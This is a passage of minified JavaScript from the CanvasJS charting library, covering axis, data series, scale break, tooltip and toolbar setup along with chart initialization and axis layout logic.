.canvas;this._ctx=a.canvas.ctx;this.index=b;this.noDataPointsInPlotArea=0;this.id=c
;this.chart._eventManager.objectMap[c]={id:c,objectType:"dataSeries",dataSeriesInde
x:b};a=d.dataPoints?d.dataPoints.length:0;this.dataPointEOs=[];for(d=0;d<a;d+
+)this.dataPointEOs[d]={};this.dataPointIds=[];this.plotUnit=[];this.axisY=this.axi
sX=null;this.optionsName="data";this.isOptionsInArray=!
0;null===this.fillOpacity&&(this.type.match(/area/i)?
this.fillOpacity=0.7:this.fillOpacity=1);this.axisPlacement=this.getDefaultAxisPlac
ement();"undefined"===typeof
this.options.indexLabelFontSize&&(this.indexLabelFontSize=this.chart.getAutoFontSiz
e(this.indexLabelFontSize))}function z(a,d,b,c,e,g)
{z.base.constructor.call(this,"Axis",d,b,c,a);this.chart=a;this.canvas=a.canvas;thi
s.ctx=a.ctx;this.intervalStartPosition=this.maxHeight=this.maxWidth=0;this.labels=[
];this.dataSeries=[];this._stripLineLabels=this._ticks=this._labels=null;this.dataI
nfo={min:Infinity,max:-Infinity,viewPortMin:Infinity,viewPortMax:-
Infinity,minDiff:Infinity};this.isOptionsInArray=!0;"axisX"===e?
("left"===g||"bottom"===g?
(this.optionsName="axisX",u(this.chart.sessionVariables.axisX[c])&&(this.chart.sess
ionVariables.axisX[c]={}),this.sessionVariables=this.chart.sessionVariables.axisX[c
]):
(this.optionsName="axisX2",u(this.chart.sessionVariables.axisX2[c])&&(this.chart.se
ssionVariables.axisX2[c]={}),this.sessionVariables=this.chart.sessionVariables.axis
X2[c]),this.options.interval||(this.intervalType=null)):"left"===g||"bottom"===g?
(this.optionsName="axisY",u(this.chart.sessionVariables.axisY[c])&&(this.chart.sess
ionVariables.axisY[c]={}),this.sessionVariables=this.chart.sessionVariables.axisY[c
]):
(this.optionsName="axisY2",u(this.chart.sessionVariables.axisY2[c])&&(this.chart.se
ssionVariables.axisY2[c]={}),this.sessionVariables=this.chart.sessionVariables.axis
Y2[c]);"undefined"===typeof
this.options.titleFontSize&&(this.titleFontSize=this.chart.getAutoFontSize(this.tit
leFontSize));"undefined"===typeof
this.options.labelFontSize&&(this.labelFontSize=this.chart.getAutoFontSize(this.lab
elFontSize));this.type=e;"axisX"!==e||b&&"undefined"!==typeof b.gridThickness||
(this.gridThickness=0);this._position=g;this.lineCoordinates={x1:null,y1:null,x2:nu
ll,y2:null,width:null};this.labelAngle=(this.labelAngle
%360+360)%360;90<this.labelAngle&&270>this.labelAngle?this.labelAngle-
=180:270<=this.labelAngle&&360>=this.labelAngle&&(this.labelAngle-
=360);this.options.scaleBreaks&&(this.scaleBreaks=new
Q(this.chart,this.options.scaleBreaks,+
+this.chart._eventManager.lastObjectId,this));this.stripLines=[];if(this.options.st
ripLines&&0<this.options.stripLines.length)for(a=0;a<this.options.stripLines.length
;a++)this.stripLines.push(new X(this.chart,this.options.stripLines[a],a,+
+this.chart._eventManager.lastObjectId,this));this.options.crosshair&&(this.crossha
ir=new
fa(this.chart,this.options.crosshair,this));this._titleTextBlock=null;this.hasOptio
nChanged("viewportMinimum")&&null===this.viewportMinimum&&(this.options.viewportMin
imum=void
0,this.sessionVariables.viewportMinimum=null);this.hasOptionChanged("viewportMinimu
m")||isNaN(this.sessionVariables.newViewportMinimum)||
null===this.sessionVariables.newViewportMinimum?
this.sessionVariables.newViewportMinimum=null:this.viewportMinimum=this.sessionVari
ables.newViewportMinimum;this.hasOptionChanged("viewportMaximum")&&null===this.view
portMaximum&&(this.options.viewportMaximum=void
0,this.sessionVariables.viewportMaximum=null);this.hasOptionChanged("viewportMaximu
m")||isNaN(this.sessionVariables.newViewportMaximum)||
null===this.sessionVariables.newViewportMaximum?
this.sessionVariables.newViewportMaximum=null:this.viewportMaximum=this.sessionVari
ables.newViewportMaximum;null!==this.minimum&&null!
==this.viewportMinimum&&(this.viewportMinimum=Math.max(this.viewportMinimum,this.mi
nimum));null!==this.maximum&&null!
==this.viewportMaximum&&(this.viewportMaximum=Math.min(this.viewportMaximum,this.ma
ximum));this.trackChanges("viewportMinimum");this.trackChanges("viewportMaximum")}f
unction Q(a,d,b,c)
{Q.base.constructor.call(this,"ScaleBreaks","scaleBreaks",d,null,c);this.id=b;this.
chart=a;this.ctx=this.chart.ctx;this.axis=c;this.optionsName="scaleBreaks";this.isO
ptionsInArray=!
1;this._appliedBreaks=[];this.customBreaks=[];this.autoBreaks=[];"string"===typeof
this.spacing?
(this.spacing=parseFloat(this.spacing),this.spacing=isNaN(this.spacing)?8:
(10<this.spacing?10:this.spacing)+"%"):"number"!==typeof
this.spacing&&(this.spacing=8);this.autoCalculate&&(this.maxNumberOfAutoBreaks=Math
.min(this.maxNumberOfAutoBreaks,5));if(this.options.customBreaks&&0<this.options.cu
stomBreaks.length){for(a=0;a<this.options.customBreaks.length;a+
+)this.customBreaks.push(new
L(this.chart,"customBreaks",this.options.customBreaks[a],a,+
+this.chart._eventManager.lastObjectId,this)),"number"===typeof
this.customBreaks[a].startValue&&("number"===typeof
this.customBreaks[a].endValue&&this.customBreaks[a].endValue!
==this.customBreaks[a].startValue)&&this._appliedBreaks.push(this.customBreaks[a]);
this._appliedBreaks.sort(function(a,c){return a.startValue-
c.startValue});for(a=0;a<this._appliedBreaks.length-1;a+
+)this._appliedBreaks[a].endValue>=this._appliedBreaks[a+1].startValue&&(this._appl
iedBreaks[a].endValue=Math.max(this._appliedBreaks[a].endValue,this._appliedBreaks[
a+1].endValue),window.console&&window.console.log("CanvasJS Error: Breaks "+a+" and
"+(a+1)+" are overlapping."),this._appliedBreaks.splice(a,2),a--)}}function
L(a,d,b,c,e,g)
{L.base.constructor.call(this,"Break",d,b,c,g);this.id=e;this.chart=a;this.ctx=this
.chart.ctx;this.scaleBreaks=g;this.optionsName=d;this.isOptionsInArray=!
0;this.type=b.type?this.type:g.type;this.fillOpacity=u(b.fillOpacity)?
g.fillOpacity:this.fillOpacity;this.lineThickness=u(b.lineThickness)?
g.lineThickness:this.lineThickness;this.color=b.color?
this.color:g.color;this.lineColor=b.lineColor?
this.lineColor:g.lineColor;this.lineDashType=b.lineDashType?
this.lineDashType:g.lineDashType;!
u(this.startValue)&&this.startValue.getTime&&(this.startValue=this.startValue.getTi
me());!
u(this.endValue)&&this.endValue.getTime&&(this.endValue=this.endValue.getTime());"n
umber"===typeof this.startValue&&("number"===typeof
this.endValue&&this.endValue<this.startValue)&&(a=this.startValue,this.startValue=t
his.endValue,this.endValue=a);this.spacing="undefined"===typeof b.spacing?
g.spacing:b.spacing;"string"===typeof this.options.spacing?
(this.spacing=parseFloat(this.spacing),this.spacing=isNaN(this.spacing)?0:
(10<this.spacing?10:this.spacing)+"%"):"number"!==typeof
this.options.spacing&&(this.spacing=g.spacing);this.size=g.parent.logarithmic?
1:0}function X(a,d,b,c,e)
{X.base.constructor.call(this,"StripLine","stripLines",d,b,e);this.id=c;this.chart=
a;this.ctx=this.chart.ctx;this.label=this.label;this.axis=e;this.optionsName="strip
Lines";this.isOptionsInArray=!0;this._thicknessType="pixel";null!
==this.startValue&&null!==this.endValue&&(this.value=e.logarithmic?
Math.sqrt((this.startValue.getTime?this
.startValue.getTime():this.startValue)*(this.endValue.getTime?
this.endValue.getTime():this.endValue)):((this.startValue.getTime?
this.startValue.getTime():this.startValue)+(this.endValue.getTime?
this.endValue.getTime():this.endValue))/2,this._thicknessType=null)}function
fa(a,d,b)
{fa.base.constructor.call(this,"Crosshair","crosshair",d,null,b);this.chart=a;this.
ctx=this.chart.ctx;this.axis=b;this.optionsName="crosshair";this._thicknessType="pi
xel"}function $(a,d)
{$.base.constructor.call(this,"ToolTip","toolTip",d,null,a);this.chart=a;this.canva
s=a.canvas;this.ctx=this.chart.ctx;this.currentDataPointIndex=this.currentSeriesInd
ex=-
1;this._prevY=this._prevX=NaN;this.containerTransitionDuration=0.1;this.mozContaine
rTransition=this.getContainerTransition(this.containerTransitionDuration);this.opti
onsName="toolTip";this._initialize()}function ha(a)
{this.chart=a;this.lastObjectId=0;this.objectMap=[];this.rectangularRegionEventSubs
criptions=[];this.previousDataPointEventObject=null;this.ghostCanvas=ta(this.chart.
width,this.chart.height);this.ghostCtx=this.ghostCanvas.getContext("2d");this.mouse
overedObjectMaps=[]}function ga(a)
{this.chart=a;this.ctx=this.chart.plotArea.ctx;this.animations=[];this.animationReq
uestId=null}qa(p,V);p.prototype.destroy=function(){var
a=this.allDOMEventHandlers;this._animator&&this._animator.cancelAllAnimations();thi
s._panTimerId&&clearTimeout(this._panTimerId);for(var d=0;d<a.length;d++){var
b=a[d][0],c=a[d][1],e=a[d][2],g=a[d][3],g=g||!1;b.removeEventListener?
b.removeEventListener(c,e,g):b.detachEvent&&b.detachEvent("on"+c,e)}this.allDOMEven
tHandlers=[];for(this.removeAllEventListeners();this._canvasJSContainer&&this._canv
asJSContainer.hasChildNodes();)this._canvasJSContainer.removeChild(this._canvasJSCo
ntainer.lastChild);for(;this.container&&this.container.hasChildNodes();)this.contai
ner.removeChild(this.container.lastChild);for(;this._dropdownMenu&&this._dropdownMe
nu.hasChildNodes();)this._dropdownMenu.removeChild(this._dropdownMenu.lastChild);th
is.overlaidCanvas=this.canvas=this.container=this._canvasJSContainer=null;this._too
lBar=this._dropdownMenu=this._menuButton=this._resetButton=this._zoomButton=this._b
reaksCanvas=this._preRenderCanvas=this.toolTip.container=null};p.prototype._updateO
ptions=function(){var
a=this;this.updateOption("width");this.updateOption("height");this.updateOption("da
taPointWidth");this.updateOption("dataPointMinWidth");this.updateOption("dataPointM
axWidth");this.updateOption("interactivityEnabled");this.updateOption("theme");this
.updateOption("colorSet")&&(this._selectedColorSet="undefined"!==typeof
Ba[this.colorSet]?
Ba[this.colorSet]:Ba.colorSet1);this.updateOption("backgroundColor");this.backgroun
dColor||
(this.backgroundColor="rgba(0,0,0,0)");this.updateOption("culture");this._cultureIn
fo=new
La(this.options.culture);this.updateOption("animationEnabled");this.animationEnable
d=this.animationEnabled&&r;this.updateOption("animationDuration");this.updateOption
("rangeChanging");this.updateOption("rangeChanged");this.updateOption("exportEnable
d");this.updateOption("exportFileName");this.updateOption("zoomType");if(this.optio
ns.zoomEnabled){if(!this._zoomButton){var d=!
1;va(this._zoomButton=document.createElement("button"));ua(this,this._zoomButton,"p
an");this._toolBar.appendChild(this._zoomButton);this._zoomButton.style.borderRight
=this.toolbar.borderThickness+"px solid
"+this.toolbar.borderColor;O(this._zoomButton,"touchstart",function(a){d=!
0},this.allDOMEventHandlers);O(this._zoomButton,"click",function(){a.zoomEnabled?
(a.zoomEnabled=!1,a.panEnabled=!0,ua(a,a._zoomButton,"zoom")):(a.zoomEnabled=!
0,a.panEnabled=!
1,ua(a,a._zoomButton,"pan"));a.render()},this.allDOMEventHandlers);O(this._zoomButt
on,"mouseover",function(){d?d=!1:(sa(a,a._zoomButton,
{backgroundColor:a.toolbar.backgroundColorOnHover,color:a.toolbar.fontColorOnHover,
transition:"0.4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.search("MSIE")&&
sa(a,a._zoomButton.childNodes[0],
{WebkitFilter:"invert(100%)",filter:"invert(100%)"}))},this.allDOMEventHandlers);O(
this._zoomButton,"mouseout",function(){d||(sa(a,a._zoomButton,
{backgroundColor:a.toolbar.backgroundColor,color:a.toolbar.fontColor,transition:"0.
4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.search("MSIE")&&sa(a,a._zoomBu
tton.childNodes[0],
{WebkitFilter:"invert(0%)",filter:"invert(0%)"}))},this.allDOMEventHandlers)}this._
resetButton||(d=!
1,va(this._resetButton=document.createElement("button")),ua(this,this._resetButton,
"reset"),this._resetButton.style.borderRight=(this.exportEnabled?
this.toolbar.borderThickness:0)+"px solid
"+this.toolbar.borderColor,this._toolBar.appendChild(this._resetButton),O(this._res
etButton,"touchstart",function(a){d=!
0},this.allDOMEventHandlers),O(this._resetButton,"click",function()
{a.toolTip.hide();a.zoomEnabled||a.panEnabled?(a.zoomEnabled=!0,a.panEnabled=!
1,ua(a,a._zoomButton,"pan"),a._defaultCursor="default",a.overlaidCanvas.style.curso
r=a._defaultCursor):(a.zoomEnabled=!1,a.panEnabled=!
1);if(a.sessionVariables.axisX)for(var c=0;c<a.sessionVariables.axisX.length;c+
+)a.sessionVariables.axisX[c].newViewportMinimum=null,a.sessionVariables.axisX[c].n
ewViewportMaximum=null;if(a.sessionVariables.axisX2)for(c=0;c<a.sessionVariables.ax
isX2.length;c+
+)a.sessionVariables.axisX2[c].newViewportMinimum=null,a.sessionVariables.axisX2[c]
.newViewportMaximum=null;if(a.sessionVariables.axisY)for(c=0;c<a.sessionVariables.a
xisY.length;c+
+)a.sessionVariables.axisY[c].newViewportMinimum=null,a.sessionVariables.axisY[c].n
ewViewportMaximum=null;if(a.sessionVariables.axisY2)for(c=0;c<a.sessionVariables.ax
isY2.length;c+
+)a.sessionVariables.axisY2[c].newViewportMinimum=null,a.sessionVariables.axisY2[c]
.newViewportMaximum=null;a.resetOverlayedCanvas();va(a._zoomButton,a._resetButton);
a._dispatchRangeEvent("rangeChanging","reset");a.render();a._dispatchRangeEvent("ra
ngeChanged","reset");a.syncCharts&&a.syncCharts(null,null)},this.allDOMEventHandler
s),O(this._resetButton,"mouseover",function(){d||(sa(a,a._resetButton,
{backgroundColor:a.toolbar.backgroundColorOnHover,color:a.toolbar.hoverFfontColorOn
HoverontColor,transition:"0.4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.se
arch("MSIE")&&sa(a,a._resetButton.childNodes[0],
{WebkitFilter:"invert(100%)",filter:"invert(100%)"}))},this.allDOMEventHandlers),O(
this._resetButton,"mouseout",function(){d||(sa(a,a._resetButton,
{backgroundColor:a.toolbar.backgroundColor,color:a.toolbar.fontColor,transition:"0.
4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.search("MSIE")&&sa(a,a._resetB
utton.childNodes[0],
{WebkitFilter:"invert(0%)",filter:"invert(0%)"}))},this.allDOMEventHandlers),this.o
verlaidCanvas.style.cursor=a._defaultCursor);this.zoomEnabled||this.panEnabled||
(this._zoomButton?(a._zoomButton.getAttribute("state")===a._cultureInfo.zoomText?
(this.panEnabled=!0,this.zoomEnabled=!1):(this.zoomEnabled=!0,this.panEnabled=!
1),Qa(a._zoomButton,a._resetButton)):(this.zoomEnabled=!0,this.panEnabled=!1))}else
this.panEnabled=this.zoomEnabled=!1;this._menuButton?this.exportEnabled?
Qa(this._menuButton):va(this._menuButton):this.exportEnabled&&r&&(d=!
1,this._menuButton=document.createElement("button"),ua(this,this._menuButton,"menu"
),this._toolBar.appendChild(this._menuButton),O(this._menuButton,"touchstart",funct
ion(a){d=!0},this.allDOMEventHandlers),O(this._menuButton,"click",function()
{"none"!==a._dropdownMenu.style.display||a._dropDownCloseTime&&500>=(new
Date).getTime()-a._dropDownCloseTime.getTime()||
(a._dropdownMenu.style.display="block",a._menuButton.blur(),a._dropdownMenu.focus()
)},this.allDOMEventHandlers,!0),O(this._menuButton,"mouseover",function(){d||
(sa(a,a._menuButton,
{backgroundColor:a.toolbar.backgroundColorOnHover,color:a.toolbar.fontColorOnHover}
),0>=navigator.userAgent.search("MSIE")&&sa(a,a._menuButton.childNodes[0],
{WebkitFilter:"invert(100%)",filter:"invert(100%)"}))},this.allDOMEventHandlers,!
0),O(this._menuButton,"mouseout",function(){d||(sa(a,a._menuButton,
{backgroundColor:a.toolbar.backgroundColor,color:a.toolbar.fontColor}),0>=navigator
.userAgent.search("MSIE")&&sa(a,a._menuButton.childNodes[0],
{WebkitFilter:"invert(0%)",filter:"invert(0%)"}))},this.allDOMEventHandlers,!
0));if(!this._dropdownMenu&&this.exportEnabled&&r){d=!
1;this._dropdownMenu=document.createElement("div");this._dropdownMenu.setAttribute(
"tabindex",-1);var b=-1!
==this.theme.indexOf("dark")?"black":"#888888";this._dropdownMenu.style.cssText="po
sition: absolute; -webkit-user-select: none; -moz-user-select: none; -ms-user-
select: none; user-select: none; cursor: pointer;right: 0px;top: 25px;min-width:
120px;outline: 0;font-size: 14px; font-family: Arial, Helvetica, sans-
serif;padding: 5px 0px 5px 0px;text-align: left;line-height: 10px;background-
color:"+this.toolbar.backgroundColor+";box-shadow: 2px 2px 10px
"+b;a._dropdownMenu.style.display="none";this._toolBar.appendChild(this._dropdownMe
nu);O(this._dropdownMenu,"blur",function()
{va(a._dropdownMenu);a._dropDownCloseTime=new Date},this.allDOMEventHandlers,!
0);b=document.createElement("div");b.style.cssText="padding: 12px 8px 12px
8px";b.innerHTML=this._cultureInfo.printText;b.style.backgroundColor=this.toolbar.b
ackgroundColor;b.style.color=this.toolbar.fontColor;this._dropdownMenu.appendChild(
b);O(b,"touchstart",function(a){d=!
0},this.allDOMEventHandlers);O(b,"mouseover",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColorOnHover,this.style.color=a.too
lbar.fontColorOnHover)},this.allDOMEventHandlers,!0);O(b,"mouseout",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColor,this.style.color=a.toolbar.fo
ntColor)},this.allDOMEventHandlers,!0);O(b,"click",function()
{a.print();va(a._dropdownMenu)},this.allDOMEventHandlers,!
0);b=document.createElement("div");b.style.cssText="padding: 12px 8px 12px
8px";b.innerHTML=this._cultureInfo.saveJPGText;b.style.backgroundColor=this.toolbar
.backgroundColor;b.style.color=this.toolbar.fontColor;this._dropdownMenu.appendChil
d(b);O(b,"touchstart",function(a){d=!0},this.allDOMEventHandlers);O(b,"mou
seover",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColorOnHover,this.style.color=a.too
lbar.fontColorOnHover)},this.allDOMEventHandlers,!0);O(b,"mouseout",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColor,this.style.color=a.toolbar.fo
ntColor)},this.allDOMEventHandlers,!0);O(b,"click",function()
{Ta(a.canvas,"jpeg",a.exportFileName);va(a._dropdownMenu)},this.allDOMEventHandlers
,!0);b=document.createElement("div");b.style.cssText="padding: 12px 8px 12px
8px";b.innerHTML=this._cultureInfo.savePNGText;b.style.backgroundColor=this.toolbar
.backgroundColor;b.style.color=this.toolbar.fontColor;this._dropdownMenu.appendChil
d(b);O(b,"touchstart",function(a){d=!
0},this.allDOMEventHandlers);O(b,"mouseover",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColorOnHover,this.style.color=a.too
lbar.fontColorOnHover)},this.allDOMEventHandlers,!0);O(b,"mouseout",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColor,this.style.color=a.toolbar.fo
ntColor)},this.allDOMEventHandlers,!0);O(b,"click",function()
{Ta(a.canvas,"png",a.exportFileName);va(a._dropdownMenu)},this.allDOMEventHandlers,
!0)}"none"!==this._toolBar.style.display&&this._zoomButton&&(this.panEnabled?
ua(a,a._zoomButton,"zoom"):ua(a,a._zoomButton,"pan"),a._resetButton.getAttribute("s
tate")!
==a._cultureInfo.resetText&&ua(a,a._resetButton,"reset"));this.options.toolTip&&thi
s.toolTip.options!
==this.options.toolTip&&(this.toolTip.options=this.options.toolTip);for(var c in
this.toolTip.options)this.toolTip.options.hasOwnProperty(c)&&this.toolTip.updateOpt
ion(c)};p.prototype._updateSize=function(){var
a;a=[this.canvas,this.overlaidCanvas,this._eventManager.ghostCanvas];var
d=0,b=0;this.options.width?d=this.width:this.width=d=0<this.container.clientWidth?
this.container.clientWidth:this.width;this.options.height?
b=this.height:this.height=b=0<this.container.clientHeight?
this.container.clientHeight:this.height;if(this.canvas.width!==d*W||
this.canvas.height!==b*W){for(var c=0;c<a.length;c++)Oa(a[c],d,b);a=!0}else a=!
1;return a};p.prototype._initialize=function(){this.isNavigator=u(this.parent)||
u(this.parent._defaultsKey)||"Navigator"!==this.parent._defaultsKey?!1:!
0;this.toolbar=new Va(this,this.options.toolbar);this._animator?
this._animator.cancelAllAnimations():this._animator=new
ga(this);this.removeAllEventListeners();this.disableToolTip=!
1;this._axes=[];this.funnelPyramidClickHandler=this.pieDoughnutClickHandler=null;th
is._updateOptions();this.animatedRender=r&&this.animationEnabled&&0===this.renderCo
unt;this._updateSize();this.clearCanvas();this.ctx.beginPath();this.axisX=[];this.a
xisX2=[];this.axisY=[];this.axisY2=[];this._indexLabels=[];this._dataInRenderedOrde
r=[];this._events=[];this._eventManager&&this._eventManager.reset();this.plotInfo={
axisPlacement:null,plotTypes:[]};this.layoutManager=new
Ga(0,0,this.width,this.height,this.isNavigator?
0:2);this.plotArea.layoutManager&&this.plotArea.layoutManager.reset();this.data=[];
var a=0,d=null;if(this.options.data){for(var b=0;b<this.options.data.length;b+
+)if(a++,!this.options.data[b].type||
0<=p._supportedChartTypes.indexOf(this.options.data[b].type)){var c=new
F(this,this.options.data[b],a-1,+
+this._eventManager.lastObjectId);"error"===c.type&&(c.linkedDataSeriesIndex=u(this
.options.data[b].linkedDataSeriesIndex)?b-
1:this.options.data[b].linkedDataSeriesIndex,0>c.linkedDataSeriesIndex||
c.linkedDataSeriesIndex>=this.options.data.length||"number"!==typeof
c.linkedDataSeriesIndex||"error"===this.options.data[c.linkedDataSeriesIndex].type)
&&(c.linkedDataSeriesIndex=null);null===c.name&&(c.name="DataSeries
"+a);null===c.color?1<this.options.data.length?
(c._colorSet=[this._selectedColorSet[c.index
%this._selectedColorSet.length]],c.color=this._selectedColorSet[c.index
%this._selectedColorSet.length]):c._colorSet="line"===c.type||"stepLine"===c.type||
"spline"===c.type||"area"===c.type||"stepArea"===c.type||"splineArea"===c.type||"st
ackedArea"===c.type||"stackedArea100"===c.type||"rangeArea"===c.type||"rangeSplineA
rea"===c.type||"candlestick"===c.type||"ohlc"===c.type||"waterfall"===c.type||"boxA
ndWhisker"===c.type?
[this._selectedColorSet[0]]:this._selectedColorSet:c._colorSet=[c.color];null===c.m
arkerSize&&(("line"===c.type||"stepLine"===c.type||"spline"===c.type||
0<=c.type.toLowerCase().indexOf("area"))&&c.dataPoints&&c.dataPoints.length<this.wi
dth/16||"scatter"===c.type)&&(c.markerSize=8);"bubble"!==c.type&&"scatter"!
==c.type||!c.dataPoints||(c.dataPoints.some?c.dataPoints.some(function(a){return
a.x})&&c.dataPoints.sort(h):c.dataPoints.sort(h));this.data.push(c);var
e=c.axisPlacement,d=d||e,g;"normal"===e?"xySwapped"===this.plotInfo.axisPlacement?
g='You cannot combine "'+c.type+'" with bar
chart':"none"===this.plotInfo.axisPlacement?g='You cannot combine "'+c.type+'" with
pie
chart':null===this.plotInfo.axisPlacement&&(this.plotInfo.axisPlacement="normal"):"
xySwapped"===e?"normal"===this.plotInfo.axisPlacement?g='You cannot combine
"'+c.type+'" with line, area, column or pie
chart':"none"===this.plotInfo.axisPlacement?g='You cannot combine "'+c.type+'" with
pie
chart':null===this.plotInfo.axisPlacement&&(this.plotInfo.axisPlacement="xySwapped"
):"none"===e?"normal"===this.plotInfo.axisPlacement?g='You cannot combine
"'+c.type+'" with line, area, column or bar
chart':"xySwapped"===this.plotInfo.axisPlacement?g='You cannot combine "'+c.type+'"
with bar
chart':null===this.plotInfo.axisPlacement&&(this.plotInfo.axisPlacement="none"):nul
l===e&&"none"===this.plotInfo.axisPlacement&&(g='You cannot combine "'+c.type+'"
with pie chart');if(g&&window.console)
{window.console.log(g);return}}for(b=0;b<this.data.length;b++)
{if("none"==d&&"error"===this.data[b].type&&window.console){window.console.log('You
cannot combine "'+c.type+'" with error
chart');return}"error"===this.data[b].type&&(this.data[b].axisPlacement=this.plotIn
fo.axisPlacement=d||"normal",this.data[b]._linkedSeries=null===this.data[b].linkedD
ataSeriesIndex?
null:this.data[this.data[b].linkedDataSeriesIndex])}}this._objectsInitialized=!
0;this._plotAreaElements=[]};p._supportedChartTypes=Fa("line stepLine spline column
area stepArea splineArea bar bubble scatter stackedColumn stackedColumn100
stackedBar stackedBar100 stackedArea stackedArea100 candlestick ohlc boxAndWhisker
rangeColumn error rangeBar rangeArea rangeSplineArea pie doughnut funnel pyramid
waterfall".split(" "));p.prototype.setLayout=function(){for(var
a=this._plotAreaElements,d=0;d<this.data.length;d+
+)if("normal"===this.plotInfo.axisPlacement||"xySwapped"===this.plotInfo.axisPlacem
ent){if(!
this.data[d].axisYType||"primary"===this.data[d].axisYType)if(this.options.axisY&&0
<this.options.axisY.length){if(!this.axisY.length)for(var
b=0;b<this.options.axisY.length;b++)"normal"===this.plotInfo.axisPlacement?
this._axes.push(this.axisY[b]=new
z(this,"axisY",this.options.axisY[b],b,"axisY","left")):"xySwapped"===this.plotInfo
.axisPlacement&&this._axes.push(this.axisY[b]=new
z(this,"axisY",this.options.axisY[b],b,"axisY","bottom"));this.data[d].axisY=this.a
xisY[0<=this.data[d].axisYIndex&&this.data[d].axisYIndex<this.axisY.length?
this.data[d].axisYIndex:0];this.axisY[0<=this.data[d].axisYIndex&&this.data[d].axis
YIndex<this.axisY.length?
this.data[d].axisYIndex:0].dataSeries.push(this.data[d])}else this.axisY.length||
("normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisY[0]=new
z(this,"axisY",this.options.axisY,0,"axisY","left")):"xySwapped"===this.plotInfo.ax
isPlacement&&this._axes.push(this.axisY[0]=new
z(this,"axisY",this.options.axisY,0,"axisY","bottom"))),this.data[d].axisY=this.axi
sY[0],this.axisY[0].dataSeries.push(this.data[d]);if("secondary"===this.data[d].axi
sYType)if(this.options.axisY2&&0<this.options.axisY2.length){if(!
this.axisY2.length)for(b=0;b<this.options.axisY2.length;b+
+)"normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisY2[b]=new
z(this,"axisY2",this.options.axisY2[b],b,"axisY","right")):"xySwapped"===this.plotI
nfo.axisPlacement&&this._axes.push(this.axisY2[b]=new
z(this,"axisY2",this.options.axisY2[b],b,"axisY","top"));this.data[d].axisY=this.ax
isY2[0<=this.data[d].axisYIndex&&this.data[d].axisYIndex<this.axisY2.length?
this.data[d].axisYIndex:0];this.axisY2[0<=this.data[d].axisYIndex&&this.data[d].axi
sYIndex<this.axisY2.length?
this.data[d].axisYIndex:0].dataSeries.push(this.data[d])}else this.axisY2.length||
("normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisY2[0]=new
z(this,"axisY2",this.options.axisY2,0,"axisY","right")):"xySwapped"===this.plotInfo
.axisPlacement&&this._axes.push(this.axisY2[0]=new
z(this,"axisY2",this.options.axisY2,0,"axisY","top"))),this.data[d].axisY=this.axis
Y2[0],this.axisY2[0].dataSeries.push(this.data[d]);if(!
this.data[d].axisXType||"primary"===this.data[d].axisXType)if(this.options.axisX&&0
<this.options.axisX.length){if(!
this.axisX.length)for(b=0;b<this.options.axisX.length;b+
+)"normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisX[b]=new
z(this,"axisX",this.options.axisX[b],b,"axisX","bottom")):"xySwapped"===this.plotIn
fo.axisPlacement&&this._axes.push(this.axisX[b]=new
z(this,"axisX",this.options.axisX[b],b,"axisX","left"));this.data[d].axisX=this.axi
sX[0<=this.data[d].axisXIndex&&this.data[d].axisXIndex<this.axisX.length?
this.data[d].axisXIndex:0];this.axisX[0<=this.data[d].axisXIndex&&this.data[d].axis
XIndex<this.axisX.length?
this.data[d].axisXIndex:0].dataSeries.push(this.data[d])}else this.axisX.length||
("normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisX[0]=new
z(this,"axisX",this.options.axisX,0,"axisX","bottom")):"xySwapped"===this.plotInfo.
axisPlacement&&this._axes.push(this.axisX[0]=new
z(this,"axisX",this.options.axisX,0,"axisX","left"))),this.data[d].axisX=this.axisX
[0],this.axisX[0].dataSeries.push(this.data[d]);if("secondary"===this.data[d].axisX
Type)if(this.options.axisX2&&0<this.options.axisX2.length){if(!
this.axisX2.length)for(b=0;b<this.options.axisX2.length;b+
+)"normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisX2[b]=new

z(this,"axisX2",this.options.axisX2[b],b,"axisX","top")):"xySwapped"===this.plotInf
o.axisPlacement&&this._axes.push(this.axisX2[b]=new
z(this,"axisX2",this.options.axisX2[b],b,"axisX","right"));this.data[d].axisX=this.
axisX2[0<=this.data[d].axisXIndex&&this.data[d].axisXIndex<this.axisX2.length?
this.data[d].axisXIndex:0];this.axisX2[0<=this.data[d].axisXIndex&&this.data[d].axi
sXIndex<this.axisX2.length?
this.data[d].axisXIndex:0].dataSeries.push(this.data[d])}else this.axisX2.length||
("normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisX2[0]=new
z(this,"axisX2",this.options.axisX2,0,"axisX","top")):"xySwapped"===this.plotInfo.a
xisPlacement&&this._axes.push(this.axisX2[0]=new
z(this,"axisX2",this.options.axisX2,0,"axisX","right"))),this.data[d].axisX=this.ax
isX2[0],this.axisX2[0].dataSeries.push(this.data[d])}if(this.axisY)
{for(b=1;b<this.axisY.length;b++)"undefined"===typeof
this.axisY[b].options.gridThickness&&(this.axisY[b].gridThickness=0);for(b=0;b<this
.axisY.length-1;b++)"undefined"===typeof
this.axisY[b].options.margin&&(this.axisY[b].margin=10)}if(this.axisY2)
{for(b=1;b<this.axisY2.length;b++)"undefined"===typeof
this.axisY2[b].options.gridThickness&&(this.axisY2[b].gridThickness=0);for(b=0;b<th
is.axisY2.length-1;b++)"undefined"===typeof
this.axisY2[b].options.margin&&(this.axisY2[b].margin=10)}this.axisY&&0<this.axisY.
length&&(this.axisY2&&0<this.axisY2.length)&&(0<this.axisY[0].gridThickness&&"undef
ined"===typeof this.axisY2[0].options.gridThickness?
this.axisY2[0].gridThickness=0:0<this.axisY2[0].gridThickness&&"undefined"===typeof
this.axisY[0].options.gridThickness&&(this.axisY[0].gridThickness=0));if(this.axisX
)for(b=0;b<this.axisX.length;b++)"undefined"===typeof
this.axisX[b].options.gridThickness&&(this.axisX[b].gridThickness=0);if(this.axisX2
